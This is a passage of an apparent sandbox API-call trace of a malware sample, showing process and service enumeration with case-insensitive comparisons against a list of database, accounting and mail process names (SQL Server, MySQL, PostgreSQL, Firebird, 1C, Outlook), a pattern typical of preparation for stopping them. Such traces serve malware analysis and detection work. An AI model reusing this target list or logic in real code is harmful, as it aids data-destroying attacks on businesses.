lpString2="System") returned -1 [0247.361] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0247.361] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0247.361] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0247.362] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0247.362] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0247.362] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0247.362] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0247.362] lstrlenW (lpString="smss.exe") returned 8 [0247.362] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0247.362] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0247.362] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0247.362] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0247.362] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0247.362] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0247.362] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0247.362] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.362] lstrlenW (lpString="csrss.exe") returned 9 [0247.362] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0247.362] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0247.362] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0247.362] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0247.362] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0247.363] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0247.363] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0247.363] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0247.363] lstrlenW (lpString="wininit.exe") returned 11 [0247.363] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0247.363] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0247.363] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0247.363] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0247.363] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0247.363] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0247.363] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0247.363] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.363] lstrlenW (lpString="csrss.exe") returned 9 [0247.363] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0247.363] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0247.363] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0247.363] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0247.363] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0247.363] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0247.364] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0247.364] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0247.364] lstrlenW (lpString="winlogon.exe") returned 12 [0247.364] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0247.364] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0247.364] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0247.364] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0247.364] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0247.364] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0247.364] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0247.364] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0247.364] lstrlenW (lpString="services.exe") returned 12 [0247.364] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0247.364] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0247.364] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0247.364] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0247.364] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0247.364] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0247.364] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0247.364] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0247.365] lstrlenW (lpString="lsass.exe") returned 9 [0247.365] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0247.365] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0247.365] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0247.365] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0247.365] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0247.365] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0247.365] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0247.365] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0247.365] lstrlenW (lpString="lsm.exe") returned 7 [0247.365] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0247.365] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0247.365] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0247.365] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0247.365] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0247.365] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0247.366] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0247.366] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.366] lstrlenW (lpString="svchost.exe") returned 11 [0247.366] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0247.366] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0247.366] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0247.366] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0247.366] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0247.366] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0247.366] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0247.366] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.366] lstrlenW (lpString="svchost.exe") returned 11 [0247.366] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0247.366] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0247.366] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0247.366] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0247.366] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0247.366] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0247.366] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0247.367] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.367] lstrlenW (lpString="svchost.exe") returned 11 [0247.367] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0247.367] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0247.367] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0247.367] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0247.367] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0247.367] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0247.367] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0247.367] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.367] lstrlenW (lpString="svchost.exe") returned 11 [0247.367] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.368] lstrlenW (lpString="svchost.exe") returned 11 [0247.368] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0247.368] lstrlenW (lpString="audiodg.exe") returned 11 [0247.368] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.368] lstrlenW (lpString="svchost.exe") returned 11 [0247.368] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.369] lstrlenW (lpString="svchost.exe") returned 11 [0247.369] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0247.369] lstrlenW (lpString="userinit.exe") returned 12 [0247.369] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0247.369] lstrlenW (lpString="dwm.exe") returned 7 [0247.369] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0247.370] lstrlenW (lpString="explorer.exe") returned 12 [0247.370] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0247.370] lstrlenW (lpString="spoolsv.exe") returned 11 [0247.370] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0247.370] lstrlenW (lpString="taskhost.exe") returned 12 [0247.370] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.371] lstrlenW (lpString="svchost.exe") returned 11 [0247.371] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0247.371] lstrlenW (lpString="uyuquk.exe") returned 10 [0247.371] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0247.371] lstrlenW (lpString="reader_sl.exe") returned 13 [0247.371] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0247.372] lstrlenW (lpString="dllhost.exe") returned 11 [0247.372] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0247.372] CloseHandle (hObject=0x398) returned 1 [0247.372] Sleep (dwMilliseconds=0x1f4) [0247.918] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aea08 [0248.064] EnumServicesStatusExW (in: hSCManager=0x42aea08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0248.065] GetLastError () returned 0xea [0248.065] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x42e73a0 [0248.065] EnumServicesStatusExW (in: hSCManager=0x42aea08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e73a0, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e73a0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0248.065] CloseServiceHandle (hSCObject=0x42aea08) returned 1 [0248.065] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0248.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0248.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0248.065] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0248.065] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0248.065] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0248.065] lstrlenW (lpString="AudioSrv") returned 8 [0248.065] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0248.065] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0248.065] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0248.065] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0248.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0248.066] lstrlenW (lpString="BFE") returned 3 [0248.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0248.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0248.066] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0248.066] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0248.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0248.066] lstrlenW (lpString="CryptSvc") returned 8 [0248.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0248.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0248.066] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0248.066] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0248.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0248.066] lstrlenW (lpString="CscService") returned 10 [0248.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0248.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0248.066] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0248.066] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0248.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0248.066] lstrlenW (lpString="DcomLaunch") returned 10 [0248.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0248.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0248.066] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0248.066] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0248.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0248.066] lstrlenW (lpString="Dhcp") returned 4 [0248.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0248.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0248.066] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0248.066] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0248.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0248.066] lstrlenW (lpString="Dnscache") returned 8 [0248.066] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0248.066] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0248.066] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0248.066] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0248.066] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0248.067] lstrlenW (lpString="DPS") returned 3 [0248.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0248.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0248.067] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0248.067] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0248.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0248.067] lstrlenW (lpString="eventlog") returned 8 [0248.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0248.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0248.067] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0248.067] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0248.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0248.067] lstrlenW (lpString="EventSystem") returned 11 [0248.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0248.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0248.067] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0248.067] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0248.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0248.067] lstrlenW (lpString="gpsvc") returned 5 [0248.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0248.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0248.067] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0248.067] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0248.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0248.067] lstrlenW (lpString="LanmanWorkstation") returned 17 [0248.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0248.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0248.067] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0248.067] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0248.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0248.067] lstrlenW (lpString="lmhosts") returned 7 [0248.067] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0248.067] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0248.067] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0248.067] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0248.067] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0248.068] lstrlenW (lpString="MMCSS") returned 5 [0248.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0248.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0248.068] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0248.068] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0248.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0248.068] lstrlenW (lpString="MpsSvc") returned 6 [0248.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0248.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0248.068] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0248.068] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0248.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0248.068] lstrlenW (lpString="NlaSvc") returned 6 [0248.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0248.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0248.068] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0248.068] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0248.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0248.068] lstrlenW (lpString="nsi") returned 3 [0248.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0248.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0248.068] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0248.068] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0248.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0248.068] lstrlenW (lpString="PcaSvc") returned 6 [0248.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0248.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0248.068] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0248.068] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0248.068] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0248.068] lstrlenW (lpString="PlugPlay") returned 8 [0248.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0248.068] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0248.068] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0248.068] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") 